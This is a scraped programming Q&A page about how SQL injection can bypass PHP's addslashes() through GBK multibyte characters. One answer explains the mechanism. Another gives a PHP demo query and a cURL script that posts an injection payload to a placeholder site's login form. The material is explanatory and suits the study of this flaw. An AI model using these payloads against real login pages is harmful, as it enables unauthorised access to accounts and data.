Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Examples of SQL Injections through addslashes()?

In PHP, I know that mysql_real_escape is much safer than using addslashes. However, I could not find an example of a situation where addslashes would let an SQL Injection happen.

Can anyone give some examples?

like image 209
Nathan H Avatar asked May 13 '09 23:05

Nathan H


People also ask

Does Addslashes prevent SQL injection?

The addslashes() is sometimes incorrectly used to try to prevent SQL Injection. Instead, database-specific escaping functions and/or prepared statements should be used.

What are 3 methods SQL injection can be done by?

SQL injections typically fall under three categories: In-band SQLi (Classic), Inferential SQLi (Blind) and Out-of-band SQLi. You can classify SQL injections types based on the methods they use to access backend data and their damage potential.

How SQL injections are carried out?

To perform an SQL injection attack, an attacker must locate a vulnerable input in a web application or webpage. When an application or webpage contains a SQL injection vulnerability, it uses user input in the form of an SQL query directly.

What commands can be injected into an SQL query?

Some common SQL injection examples include: Retrieving hidden data, where you can modify an SQL query to return additional results. Subverting application logic, where you can change a query to interfere with the application's logic. UNION attacks, where you can retrieve data from different database tables.


2 Answers

Well, here's the article you want.

Basically, the way the attack works is by getting addslashes() to put a backslash in the middle of a multibyte character such that the backslash loses its meaning by being part of a valid multibyte sequence.

The general caveat from the article:

This type of attack is possible with any character encoding where there is a valid multi-byte character that ends in 0x5c, because addslashes() can be tricked into creating a valid multi-byte character instead of escaping the single quote that follows. UTF-8 does not fit this description.

like image 149
chaos Avatar answered Sep 23 '22 23:09

chaos


Chris Shiflett clearly explains with the bellow example, That will of-course work if you try it when using GBK encoding in your database. Even I tried it, this proves, there are chances for sql injection, even though they are very less, but someone with good knowledge and capability can easily inject. Here is an Example...

<?php          $mysql = array();        $db = mysqli_init();        $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');         /* SQL Injection Example */         $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';        $_POST['password'] = 'guess';         $mysql['username'] = addslashes($_POST['username']);        $mysql['password'] = addslashes($_POST['password']);         $sql = "SELECT * FROM   users                WHERE username = '{$mysql['username']}'                AND password = '{$mysql['password']}'";         $result = $db->query($sql);         if ($result->num_rows) {               /* Success */        } else {               /* Failure */        }  ?> 

Although the use of addslashes() or magic_quotes_gpc would normally be considered as somewhat secure, the use of GBK would render them near useless. The following PHP cURL script would be able to make use of the injection, I hope this will help you a bit more to understand:

<?php         $url     = "http://www.victimsite.com/login.php";        $ref     = "http://www.victimsite.com/index.php";        $session = "PHPSESSID=abcdef01234567890abcdef01";         $ch      = curl_init();         curl_setopt( $ch, CURLOPT_URL,            $url     );        curl_setopt( $ch, CURLOPT_REFERER,        $ref     );        curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );        curl_setopt( $ch, CURLOPT_COOKIE,         $session );        curl_setopt( $ch, CURLOPT_POST,           TRUE     );        curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .                                                  "OR 1=1/*&submit=1" );         $data = curl_exec( $ch );         print( $data );        curl_close( $ch );  ?> 
like image 25
ScoRpion Avatar answered Sep 24 '22 23:09

ScoRpion